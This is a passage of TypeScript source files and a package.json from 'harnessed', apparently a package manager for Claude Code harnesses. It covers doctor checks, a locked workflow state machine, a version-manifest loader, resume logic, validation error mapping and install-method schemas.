} from './check-deprecations.js'\n\nconst CONTEXT_WINDOW_TOKENS = 200_000\nconst TOTAL_THRESHOLD = 2_000 // 1% of 200k\nconst PER_SKILL_THRESHOLD = 5_000\n\nfunction scanSkillsDir(root: string): { name: string; tokens: number }[] {\n if (!existsSync(root)) return []\n return readdirSync(root).flatMap((name) => {\n const md = join(root, name, 'SKILL.md')\n if (!existsSync(md)) return []\n const fm = readFileSync(md, 'utf8').match(/^---\\n([\\s\\S]*?)\\n---/)?.[1] ?? ''\n const desc = fm.match(/^description:\\s*(.+)$/m)?.[1] ?? ''\n return [{ name, tokens: estimateTokens(desc) }]\n })\n}\n\nexport function checkTokenBudget(): CheckResult {\n const roots = [join(homedir(), '.claude', 'skills'), join(process.cwd(), 'skills')]\n const items = roots.flatMap(scanSkillsDir)\n const total = items.reduce((s, i) => s + i.tokens, 0)\n const over = items.filter((i) => i.tokens > PER_SKILL_THRESHOLD).length\n if (total <= TOTAL_THRESHOLD && over === 0) {\n const msg = `${items.length} skill(s) total ${total} tokens (under 1% / 2000 threshold)`\n return { name: 'token budget', status: 'pass', message: msg }\n }\n const top = [...items]\n .sort((a, b) => b.tokens - a.tokens)\n .slice(0, 3)\n .map((t) => `${t.name}:${t.tokens}`)\n .join(', ')\n const pct = ((total / CONTEXT_WINDOW_TOKENS) * 100).toFixed(2)\n const message = `${items.length} skill(s) total ${total} tokens (${pct}% of 200000) — top: ${top}`\n return {\n name: 'token budget',\n status: 'warn',\n message,\n fix: 'shorten verbose skill descriptions OR review per-skill > 5000 tokens',\n }\n}\n","// Phase v2.0-2.3 W0 T2.3.W0.5 — Agent Teams capability probe (Q-AUDIT-5b\n// MANDATORY: schema is root-level `env.*` NOT nested `experimental.*`).\n// Sister RESEARCH § 4.3 verbatim implementation; wired by setup.ts / doctor.ts.\n\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { resolve } from 'node:path'\n\nexport interface AgentTeamsCheckResult {\n status: 'pass' | 'warn' | 'missing'\n detected: { env: boolean; settingsJson: boolean }\n envValue?: string\n settingsValue?: string\n remediation?: string\n}\n\nexport async function checkAgentTeams(): Promise<AgentTeamsCheckResult> {\n const envValue = process.env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\n const envOn = envValue === '1'\n\n let settingsValue: string | undefined\n let settingsOn = false\n try {\n const path = resolve(homedir(), '.claude', 'settings.json')\n const raw = await readFile(path, 'utf8')\n const data = JSON.parse(raw) as { env?: Record<string, string> }\n // Q-AUDIT-5b LOCKED: root-level env.* NOT nested experimental.*\n settingsValue = data.env?.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\n settingsOn = settingsValue === '1'\n } catch {\n // settings.json missing / unparseable / invalid JSON — non-fatal, fall through to env probe\n }\n\n const detected = { env: envOn, settingsJson: settingsOn }\n if (envOn || settingsOn) {\n return { status: 'pass', detected, envValue, settingsValue }\n }\n\n return {\n status: 'missing',\n detected,\n envValue,\n settingsValue,\n remediation:\n 'Agent Teams not enabled. Add to ~/.claude/settings.json:\\n \"env\": { \"CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\": \"1\" }\\nOR run: claude config set env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS 1\\nOR export env var:\\n export CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1\\nThen restart Claude Code (CC >= 2.1.133 required).',\n }\n}\n","// Phase v2.0-2.4 W3 T2.4.W3.1 — 9th doctor check delegate (Agent Teams env).\n// Wraps src/cli/lib/checkAgentTeams.ts (Phase 2.3 W0.5 SHIPPED) into the\n// CheckResult shape consumed by src/cli/doctor.ts (sister probe-gstack.ts\n// delegate pattern for Karpathy ≤200L doctor.ts hard limit守门).\n//\n// Status map: checkAgentTeams 'pass' → 'pass'; 'missing' → 'warn' (non-blocking\n// per CLAUDE.md L21 \"warn ≠ fail / exit 0\" R2.4.1 + R20.11 acceptance c).\n\nimport { checkAgentTeams } from './checkAgentTeams.js'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\nexport async function checkAgentTeamsDoctor(): Promise<CheckResult> {\n const r = await checkAgentTeams()\n if (r.status === 'pass') {\n const source = r.detected.env ? 'env var' : 'settings.json'\n return {\n name: 'Agent Teams env',\n status: 'pass',\n message: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1 (${source})`,\n }\n }\n return {\n name: 'Agent Teams env',\n status: 'warn',\n message: 'CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS not set (Agent Teams disabled)',\n fix: r.remediation,\n }\n}\n","// Phase v2.0-2.4 W3 T2.4.W3.1 — 10th doctor check (planning-with-files plugin\n// presence per R20.15 acceptance d + D-15). File-based probe NOT shell CLI call\n// (sister checkAgentTeams.ts pattern; avoids dependency on `claude plugin list`).\n//\n// Probe path: ~/.claude/plugins/cache/planning-with-files/planning-with-files/<version>/\n// per capabilities.yaml planning-with-files.plugin_path field. Real install path\n// verified 2026-05-20: `~/.claude/plugins/cache/planning-with-files/planning-with-files/2.34.0/`.\n// Missing → warn (non-blocking per warn ≠ fail R2.4.1) with `claude plugin install` remediation.\n\nimport { readdir } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\nconst REMEDIATION =\n 'install via Claude Code plugin marketplace: `claude plugin install planning-with-files` (requires >=2.2.0 per R20.15 + D-15)'\n\nexport async function checkPlanningWithFiles(): Promise<CheckResult> {\n const root = join(\n homedir(),\n '.claude',\n 'plugins',\n 'cache',\n 'planning-with-files',\n 'planning-with-files',\n )\n try {\n const entries = await readdir(root)\n // entries are version subdirs (e.g., '2.34.0'); at least one = installed.\n const versions = entries.filter((e) => /^\\d+\\.\\d+/.test(e))\n if (versions.length > 0) {\n return {\n name: 'planning-with-files plugin',\n status: 'pass',\n message: `installed (version ${versions.join(', ')})`,\n }\n }\n return {\n name: 'planning-with-files plugin',\n status: 'warn',\n message: 'plugin directory exists but no version subdir found',\n fix: REMEDIATION,\n }\n } catch {\n return {\n name: 'planning-with-files plugin',\n status: 'warn',\n message: 'not installed (plugin cache path missing)',\n fix: REMEDIATION,\n }\n }\n}\n","// Phase 3.1 W1 T1.3 — workflow state machine (D-02 KARPATHY 3-state, no FSM\n// lib). Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw).\n// Persists singleton state to `<harnessed-root>/current-workflow.json`. Hard limit\n// ≤ 80L per D-02 (3 transitions + read/write helpers).\n// Phase 5.1 W2 T2.2 — R10.2 concurrent write lock (D-05+D-06+D-07+D-08 LOCKED)\n// proper-lockfile dir-level lock `<harnessed-root>/.lock` wraps writeCurrentWorkflow.\n// W-01 PLAN-CHECK Path A: state.ts self-locks; engineHook acquires transitively.\n//\n// v3.0.3 hotfix — state + lock path migrated from `<cwd>/.harnessed/...` to\n// `<homedir>/.harnessed/...` via `getHarnessedRoot()` SoT. Sister v2.0.1\n// backup-root migration verbatim — EPERM-free when user CWD is read-only.\n\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { dirname } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport lockfile from 'proper-lockfile'\nimport { getHarnessedRoot, harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { branchOnSchemaVersion, SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { CurrentWorkflowV1, type CurrentWorkflowV1Type } from './schema/index.js'\n\n// v3.0.3 — lazy path resolution so HARNESSED_ROOT_OVERRIDE in e2e tests\n// applies before the first write (module-level const captured the path\n// at import time, before the test set the env var).\nfunction statePath(): string {\n return harnessedFile('current-workflow.json')\n}\nfunction lockTarget(): string {\n return getHarnessedRoot()\n}\nfunction lockOpts() {\n return {\n stale: 10_000,\n retries: { retries: 3, factor: 2, minTimeout: 100 },\n lockfilePath: harnessedFile('.lock'),\n }\n}\n\nexport class WorkflowStateError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'WorkflowStateError'\n }\n}\n\n/** Thrown when another harnessed process holds the harness-root `.lock` (D-06 LOCKED). */\nexport class LockHeldError extends Error {\n constructor() {\n super(\n `another harnessed process holds the lock at ${harnessedFile('.lock')} — wait or kill stale process (try: harnessed status)`,\n )\n this.name = 'LockHeldError'\n Object.setPrototypeOf(this, LockHeldError.prototype)\n }\n}\n\n/** Acquire dir-level lock then run fn(); release in finally (D-05+D-06+D-08).\n * v3.0.3: lock target is the homedir-rooted harness root (ensures the lock\n * directory exists before proper-lockfile tries to write `.lock` into it —\n * proper-lockfile will fail if the lockfilePath parent does not exist). */\nasync function withLock<T>(fn: () => Promise<T>): Promise<T> {\n const target = lockTarget()\n // Ensure the harness root exists before proper-lockfile tries to write.\n await mkdir(target, { recursive: true })\n let release: (() => Promise<void>) | undefined\n try {\n release = await lockfile.lock(target, lockOpts())\n } catch (e) {\n if ((e as NodeJS.ErrnoException).code === 'ELOCKED') throw new LockHeldError()\n throw e\n }\n try {\n return await fn()\n } finally {\n await release?.()\n }\n}\n\n/** Read state; returns null on missing/corrupt/unknown-version (CD-5 rule (b)\n * fail-soft). Throws only via writeCurrentWorkflow on known-version drift. */\nexport async function readCurrentWorkflow(): Promise<CurrentWorkflowV1Type | null> {\n let raw: string\n try {\n raw = await readFile(statePath(), 'utf8')\n } catch {\n return null\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch {\n return null\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n return branchOnSchemaVersion(v, {\n v1: () => (Value.Check(CurrentWorkflowV1, parsed) ? (parsed as CurrentWorkflowV1Type) : null),\n unknown: () => null,\n })\n}\n\n/** Write state with self-validate (loadPhases.ts pattern); creates parent dir;\n * acquires dir-level lock (D-05+D-08) before writeFile (R10.2 concurrent safety). */\nexport async function writeCurrentWorkflow(s: CurrentWorkflowV1Type): Promise<void> {\n if (!Value.Check(CurrentWorkflowV1, s)) {\n const errs = [...Value.Errors(CurrentWorkflowV1, s)].map((e) => e.message).join('; ')\n throw new WorkflowStateError(`current-workflow schema validation failed: ${errs}`)\n }\n const path = statePath()\n await mkdir(dirname(path), { recursive: true })\n await withLock(async () => {\n await writeFile(path, JSON.stringify(s, null, 2), 'utf8')\n })\n}\n\n/** Transition 1/3 — start a new workflow for `phase`. */\nexport async function activate(phase: string, checkpointPath: string | null = null): Promise<void> {\n await writeCurrentWorkflow({\n schemaVersion: SCHEMA_VERSIONS.currentWorkflow,\n phase,\n status: 'active',\n last_checkpoint_path: checkpointPath,\n started_at: new Date().toISOString(),\n })\n}\n\n/** Transition 2/3 — pause active workflow; preserves started_at. */\nexport async function pause(): Promise<void> {\n const s = await readCurrentWorkflow()\n if (!s) return\n await writeCurrentWorkflow({ ...s, status: 'paused', paused_at: new Date().toISOString() })\n}\n\n/** Transition 3/3 — complete active/paused workflow; preserves timestamps. */\nexport async function complete(): Promise<void> {\n const s = await readCurrentWorkflow()\n if (!s) return\n await writeCurrentWorkflow({ ...s, status: 'complete', completed_at: new Date().toISOString() })\n}\n","// src/manifest/schema/known-good.v1.ts — Phase 3.3 W1 T1.3 (D-03 YAML manifest 13th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts) + sister T1.2 aliases.v1.ts shape.\n// YAML manifest rejected JSON (项目未用 npm-lock + yaml convention) + Embed-in-\n// manifest (跨 manifest agg 难, R7.6 \"harnessed 版本冻结一组\" scope mismatch).\n// Manifest-domain colocation: src/manifest/schema/. install_method 字符串非 enum\n// (Karpathy YAGNI 防 schema drift 加耦 — Phase 2.X 6 install method 可能继续扩;\n// sister spec.ts InstallType union 仅作 doc reference 不强 link).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const PinnedUpstream = Type.Object(\n {\n name: Type.String({ minLength: 1 }),\n version: Type.String({ minLength: 1 }),\n install_method: Type.String({ minLength: 1 }), // npm-cli / mcp-stdio-add / etc per Phase 2.X\n },\n { additionalProperties: false },\n)\n\nexport const KnownGoodV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.knownGood), // 'harnessed.known-good.v1'\n harnessed_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n e2e_verified_at: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO date pattern\n upstreams: Type.Array(PinnedUpstream),\n },\n { additionalProperties: false },\n)\n\nexport type PinnedUpstreamType = Static<typeof PinnedUpstream>\nexport type KnownGoodV1Type = Static<typeof KnownGoodV1>\n","// src/manifest/knownGood.ts — Phase 3.3 W1 T1.5 — D-03 YAML manifest consumer.\n// Sister src/manifest/aliases.ts (fail-soft read + Value.Check + memoize).\n// Path: versions/<harnessed-ver>-known-good.yaml (sister manifests/tools/\n// <name>.yaml install.ts L66 path 范式). Lazy read per-harnessed-ver\n// (Karpathy YAGNI per planner CONTEXT Discretion lock — only pay cost when\n// --known-good flag triggers consume).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { KnownGoodV1, type KnownGoodV1Type } from './schema/known-good.v1.js'\n\nconst versionsDir = (): string => join(process.cwd(), 'versions')\n\nconst _cache = new Map<string, KnownGoodV1Type | null>()\n\n/** Load versions/<harnessedVer>-known-good.yaml; memoized per harnessedVer.\n * Returns null if file absent. Throws Karpathy fail-loud on schema invalid. */\nexport function loadKnownGood(harnessedVer: string): KnownGoodV1Type | null {\n if (_cache.has(harnessedVer)) return _cache.get(harnessedVer) ?? null\n const path = join(versionsDir(), `${harnessedVer}-known-good.yaml`)\n if (!existsSync(path)) {\n _cache.set(harnessedVer, null)\n return null\n }\n const raw = readFileSync(path, 'utf8')\n const parsed = parse(raw) as unknown\n if (!Value.Check(KnownGoodV1, parsed)) {\n const errs = [...Value.Errors(KnownGoodV1, parsed)].slice(0, 3)\n throw new Error(\n `${path} schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n )\n }\n _cache.set(harnessedVer, parsed)\n return parsed\n}\n\n/** Get pinned version for an upstream name + harnessed version. */\nexport function getPinnedVersion(upstreamName: string, harnessedVer: string): string | null {\n const kg = loadKnownGood(harnessedVer)\n if (!kg) return null\n const entry = kg.upstreams.find((u) => u.name === upstreamName)\n return entry?.version ?? null\n}\n","// Phase 3.1 W4 T4.3 — resume logic (D-03 RELOAD locked: stdout output, no spawn).\n// Sister: src/cli/doctor.ts --json flag + src/workflow/loadPhases.ts TypeBox validate.\n// CD-5 single 兼容门: branchOnSchemaVersion delegates unknown-version graceful degrade.\n// § 1.3 cwd guard: warn if checkpoint.cwd !== process.cwd() (SDK session resume may fail).\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { branchOnSchemaVersion } from '../types/schemaVersion.js'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\nimport { readCurrentWorkflow } from './state.js'\n\nexport type ResumeResult =\n | { status: 'no-paused-phase'; error: string }\n | { status: 'corrupt'; error: string; path: string }\n | { status: 'ok'; checkpoint: CheckpointV1Type; cwdWarn?: string; resumeHint: string }\n\nexport async function runResume(): Promise<ResumeResult> {\n const current = await readCurrentWorkflow()\n if (!current) {\n return {\n status: 'no-paused-phase',\n error: 'no current-workflow.json found under <harnessed-root>',\n }\n }\n if (current.status !== 'paused') {\n return {\n status: 'no-paused-phase',\n error: `workflow status is '${current.status}', not 'paused'`,\n }\n }\n if (!current.last_checkpoint_path) {\n return { status: 'corrupt', error: 'last_checkpoint_path missing', path: '' }\n }\n const path = current.last_checkpoint_path\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (e) {\n return { status: 'corrupt', error: `checkpoint missing: ${(e as Error).message}`, path }\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch (e) {\n return {\n status: 'corrupt',\n error: `checkpoint JSON parse failed: ${(e as Error).message}`,\n path,\n }\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n const validated = branchOnSchemaVersion<CheckpointV1Type | null>(v, {\n v1: () => (Value.Check(CheckpointV1, parsed) ? (parsed as CheckpointV1Type) : null),\n unknown: () => null,\n })\n if (!validated) {\n const errs = [...Value.Errors(CheckpointV1, parsed)].map((e) => e.message).join('; ')\n return { status: 'corrupt', error: `checkpoint schema validation failed: ${errs}`, path }\n }\n const cwd = process.cwd()\n const cwdWarn =\n validated.cwd !== cwd\n ? `⚠ checkpoint cwd '${validated.cwd}' ≠ current cwd '${cwd}' — SDK session resume may fail (§ 1.3); fresh-session fallback`\n : undefined\n const sidHint = validated.session_id\n ? ` (session_id: ${validated.session_id} — SDK will redirect to original session)`\n : ' (fresh session — context reloaded from checkpoint)'\n const resumeHint = `→ in Claude Code: /gsd-execute-phase ${validated.phase}${sidHint}`\n return { status: 'ok', checkpoint: validated, ...(cwdWarn ? { cwdWarn } : {}), resumeHint }\n}\n","{\n \"name\": \"harnessed\",\n \"version\": \"3.3.0\",\n \"description\": \"AI coding harness package manager + composition orchestrator\",\n \"type\": \"module\",\n \"license\": \"Apache-2.0\",\n \"author\": \"easyinplay\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/easyinplay/harnessed.git\"\n },\n \"homepage\": \"https://github.com/easyinplay/harnessed#readme\",\n \"bugs\": \"https://github.com/easyinplay/harnessed/issues\",\n \"keywords\": [\n \"claude-code\",\n \"ai-harness\",\n \"package-manager\",\n \"composition\",\n \"skill-pack\",\n \"mcp\",\n \"orchestrator\"\n ],\n \"engines\": {\n \"node\": \">=22.0.0\"\n },\n \"packageManager\": \"pnpm@10.12.0\",\n \"bin\": {\n \"harnessed\": \"./dist/cli.mjs\"\n },\n \"main\": \"./dist/index.mjs\",\n \"types\": \"./dist/index.d.ts\",\n \"exports\": {\n \".\": {\n \"types\": \"./dist/index.d.ts\",\n \"import\": \"./dist/index.mjs\",\n \"default\": \"./dist/index.mjs\"\n },\n \"./schemas\": {\n \"types\": \"./dist/schemas/index.d.ts\",\n \"import\": \"./dist/schemas/index.mjs\"\n },\n \"./package.json\": \"./package.json\"\n },\n \"files\": [\n \"dist\",\n \"manifests\",\n \"workflows\",\n \"routing\",\n \"config-templates\",\n \"schemas\",\n \"README.md\",\n \"LICENSE\",\n \"NOTICE\"\n ],\n \"scripts\": {\n \"dev\": \"tsup --watch\",\n \"build\": \"tsc --noEmit && tsup\",\n \"build:schema\": \"node ./scripts/build-schema.mjs\",\n \"validate:schema\": \"node ./scripts/validate-schema.mjs\",\n \"typecheck\": \"tsc --noEmit\",\n \"test\": \"vitest run --passWithNoTests\",\n \"test:watch\": \"vitest\",\n \"test:coverage\": \"vitest run --coverage --passWithNoTests\",\n \"bench\": \"vitest bench --run\",\n \"lint\": \"biome check .\",\n \"lint:fix\": \"biome check --write .\",\n \"format\": \"biome format --write .\"\n },\n \"dependencies\": {\n \"@anthropic-ai/claude-agent-sdk\": \"0.3.142\",\n \"@clack/prompts\": \"^0.10.1\",\n \"@sinclair/typebox\": \"^0.34.49\",\n \"ajv\": \"^8.20.0\",\n \"ajv-errors\": \"^3.0.0\",\n \"ajv-formats\": \"^3.0.1\",\n \"commander\": \"^13.0.0\",\n \"diff\": \"^9.0.0\",\n \"expr-eval\": \"^2.0.2\",\n \"picocolors\": \"^1.1.1\",\n \"proper-lockfile\": \"^4.1.2\",\n \"yaml\": \"^2.9.0\"\n },\n \"devDependencies\": {\n \"@biomejs/biome\": \"^2.0.0\",\n \"@types/node\": \"^22.10.0\",\n \"@types/proper-lockfile\": \"^4.1.4\",\n \"@vitest/coverage-v8\": \"^4.0.0\",\n \"tsup\": \"^8.3.0\",\n \"typescript\": \"^5.6.0\",\n \"vitest\": \"^4.0.0\"\n },\n \"pnpm\": {\n \"onlyBuiltDependencies\": [\n \"esbuild\"\n ]\n }\n}\n","// Friendly error mapping per ADR 0001 + GA-1 § validator entry.\n// Translates Ajv `ErrorObject[]` and yaml parse errors into a uniform\n// `ValidationError` shape with path + keyword + line/column.\n// T4.3 adds yaml LineCounter + doc.getIn() for precise source location.\n\nimport type { ErrorObject } from 'ajv'\nimport type { Document, LineCounter, Node } from 'yaml'\n\nexport interface ValidationError {\n file: string\n path: string\n message: string\n line: number | null\n column: number | null\n keyword: string\n}\n\n/**\n * Translate a JSON Pointer instancePath (\"/spec/install/method\") into the\n * key-path array yaml@2 expects (\"spec\", \"install\", \"method\"). Numeric\n * segments are coerced for sequence indexing.\n */\nfunction instancePathToKeyPath(instancePath: string): Array<string | number> {\n if (!instancePath || instancePath === '/') return []\n return instancePath\n .split('/')\n .filter(Boolean)\n .map((seg) => {\n const n = Number(seg)\n return Number.isInteger(n) && String(n) === seg ? n : seg\n })\n}\n\n/**\n * Resolve `instancePath` to a yaml node by walking the parsed Document, then\n * convert the node's start offset to a 1-indexed `{ line, col }` via the\n * supplied LineCounter. Returns `{ null, null }` if the node cannot be located\n * (e.g. when validation reports a missing field, the node never existed).\n */\nfunction locateLineFromDoc(\n doc: Document.Parsed,\n lineCounter: LineCounter,\n instancePath: string,\n): { line: number | null; column: number | null } {\n const path = instancePathToKeyPath(instancePath)\n // For empty path the document root sits at offset 0.\n let node: unknown\n if (path.length === 0) {\n node = doc.contents\n } else {\n node = doc.getIn(path, true)\n }\n\n if (!node || typeof node !== 'object') return { line: null, column: null }\n const range = (node as Node).range\n if (!range) return { line: null, column: null }\n\n const offset = range[0]\n const pos = lineCounter.linePos(offset)\n return { line: pos.line, column: pos.col }\n}\n\n/**\n * Map an Ajv error to ValidationError. When `doc` + `lineCounter` are supplied,\n * line/column are populated from the yaml CST.\n */\nexport function ajvErrorToFriendly(\n err: ErrorObject,\n file: string,\n doc?: Document.Parsed,\n lineCounter?: LineCounter,\n): ValidationError {\n let path = err.instancePath || '/'\n const params = err.params as Record<string, unknown> | undefined\n if (\n err.keyword === 'additionalProperties' &&\n params &&\n typeof params.additionalProperty === 'string'\n ) {\n path = `${path}/${params.additionalProperty}`\n } else if (err.keyword === 'required' && params && typeof params.missingProperty === 'string') {\n path = `${path}/${params.missingProperty}`\n }\n\n let line: number | null = null\n let column: number | null = null\n if (doc && lineCounter) {\n // For required-field errors the missing field has no node; resolve to the\n // parent path instead so the user is pointed at the parent block.\n const lookupPath = err.keyword === 'required' ? err.instancePath || '/' : path\n const loc = locateLineFromDoc(doc, lineCounter, lookupPath)\n line = loc.line\n column = loc.column\n }\n\n return {\n file,\n path,\n message: err.message ?? 'unknown error',\n line,\n column,\n keyword: err.keyword,\n }\n}\n\nexport interface YamlParseLike {\n message: string\n linePos?: ReadonlyArray<{ line: number; col: number }>\n}\n\nexport function yamlParseErrorToFriendly(err: YamlParseLike, file: string): ValidationError {\n return {\n file,\n path: '/',\n message: err.message,\n line: err.linePos?.[0]?.line ?? null,\n column: err.linePos?.[0]?.col ?? null,\n keyword: 'yaml-parse',\n }\n}\n","// Metadata sub-schema per ADR 0001 § Top-level structure.\n// Fields: apiVersion (Literal harnessed/v1), kind (Literal Manifest),\n// metadata.{name, display_name?, description, upstream{...}}.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const ApiVersion = Type.Literal('harnessed/v1')\nexport const Kind = Type.Literal('Manifest')\n\n// SPDX whitelist per ADR 0001 line 51.\n// ADR 0010 errata — license whitelist extension (D-03/D-05). `MIT-0` (MIT No\n// Attribution, SPDX-registered) added for baoyu-skills; `anthropics-official`\n// carve-out added for anthropics/skills monorepo sub-skills (frontend-design /\n// document-skills / webapp-testing) which have no per-skill LICENSE file.\nconst SpdxLicense = Type.Union([\n Type.Literal('MIT'),\n Type.Literal('Apache-2.0'),\n Type.Literal('BSD-3-Clause'),\n Type.Literal('ISC'),\n Type.Literal('0BSD'),\n Type.Literal('MIT-0'),\n Type.Literal('anthropics-official'),\n])\n\n// ADR 0010 errata — license provenance audit field (D-04). Records where the\n// license info was sourced from so it can be mechanically audited. Optional —\n// additive only, A7' 8-pillar safe (no existing manifest broken).\nconst LicenseSource = Type.Union([\n Type.Literal('README'),\n Type.Literal('registry'),\n Type.Literal('none'),\n Type.Literal('anthropics-official'),\n])\n\nconst Upstream = Type.Object(\n {\n source: Type.String({ minLength: 1 }),\n homepage: Type.String({ format: 'uri' }),\n repository: Type.String({ format: 'uri' }),\n license: SpdxLicense,\n license_source: Type.Optional(LicenseSource),\n notice: Type.String({ minLength: 1, maxLength: 500 }),\n },\n { additionalProperties: false },\n)\n\nexport const MetadataSchema = Type.Object(\n {\n name: Type.String({ pattern: '^[a-z0-9][a-z0-9-]*$', minLength: 1 }),\n display_name: Type.Optional(Type.String()),\n description: Type.String({ minLength: 1, maxLength: 120 }),\n upstream: Upstream,\n },\n { additionalProperties: false },\n)\n","// install.method = cc-hook-add per ADR 0001 type×method matrix + Phase 2.4 W3 T3.1 (D-04 § 3.1).\n//\n// IMPL NOTE (Phase 2.4 W3 / R2.4.4): Claude Code SessionStart / UserPromptSubmit /\n// PreToolUse / PostToolUse hooks are configured in ~/.claude/settings.json under\n// `hooks.<event>[].{matcher, command}` shape. This install method lets a manifest\n// register a hook entry idempotently. The hook_command is the bash invocation the\n// user wants run on that lifecycle event (e.g. `node scripts/dashboard.mjs --no-open`\n// to auto-spawn the dashboard on session start).\n//\n// Sister: npxSkillInstaller schema (~17L) — same minimal TypeBox shape, no exotic\n// fields. `idempotent_check` reused from the 6 sister install methods (preflight\n// invariant per src/installers/lib/preflight.ts contract).\n\nimport { Type } from '@sinclair/typebox'\n\nconst HookEvent = Type.Union([\n Type.Literal('SessionStart'),\n Type.Literal('UserPromptSubmit'),\n Type.Literal('PreToolUse'),\n Type.Literal('PostToolUse'),\n])\n\nexport const CcHookAdd = Type.Object(\n {\n method: Type.Literal('cc-hook-add'),\n cmd: Type.String({ minLength: 1 }), // audit-trail (the bash invocation registered)\n // cwd/env required by lib/spawn.ts discriminated-union access (sister 6 method\n // shape parity — even though cc-hook-add does not spawn, generic spawn helper\n // expects these fields on the install union).\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n hook_event: HookEvent,\n hook_matcher: Type.Optional(Type.String()),\n hook_command: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = cc-plugin-marketplace per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n//\n// Phase 1.2 ADR 0005 errata — `marketplace_source` optional field for\n// third-party marketplaces (e.g. OthmanAdi/planning-with-files which is NOT\n// in claude-plugins-official). v0.1 only `source: github`. Official upstream\n// can omit; phase 2.1 cc-plugin-marketplace installer will consume this\n// field structurally instead of parsing the cmd string.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\nconst REPO_PATTERN = '^[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+$'\n\nexport const CcPluginMarketplace = Type.Object(\n {\n method: Type.Literal('cc-plugin-marketplace'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n idempotent_check: Type.String({ minLength: 1 }),\n // ADR 0005 — third-party marketplace structured metadata (optional).\n marketplace_source: Type.Optional(\n Type.Object(\n {\n source: Type.Literal('github'),\n repo: Type.String({ pattern: REPO_PATTERN, minLength: 3 }),\n },\n { additionalProperties: false },\n ),\n ),\n },\n { additionalProperties: false },\n)\n","// install.method = git-clone-with-setup per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, git_ref.\n//\n// Phase 1.1.1 hotfix M1 — git_ref pattern enforces SHA (7-40 hex) or SemVer\n// tag, rejecting branch names like HEAD/main/master that would silently\n// drift. ADR 0001 § \"版本锁哲学\" requires reproducible installs.\n\nimport { Type } from '@sinclair/typebox'\n\nconst GIT_REF_PATTERN = '^([a-f0-9]{7,40}|v?\\\\d+\\\\.\\\\d+\\\\.\\\\d+([.-][\\\\w.-]+)?)$'\n\nexport const GitCloneWithSetup = Type.Object(\n {\n method: Type.Literal('git-clone-with-setup'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n git_ref: Type.String({ minLength: 1, pattern: GIT_REF_PATTERN }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = mcp-http-add per ADR 0001 type×method matrix (mcp-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpHttpAdd = Type.Object(\n {\n method: Type.Literal('mcp-http-add'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = mcp-stdio-add per ADR 0001 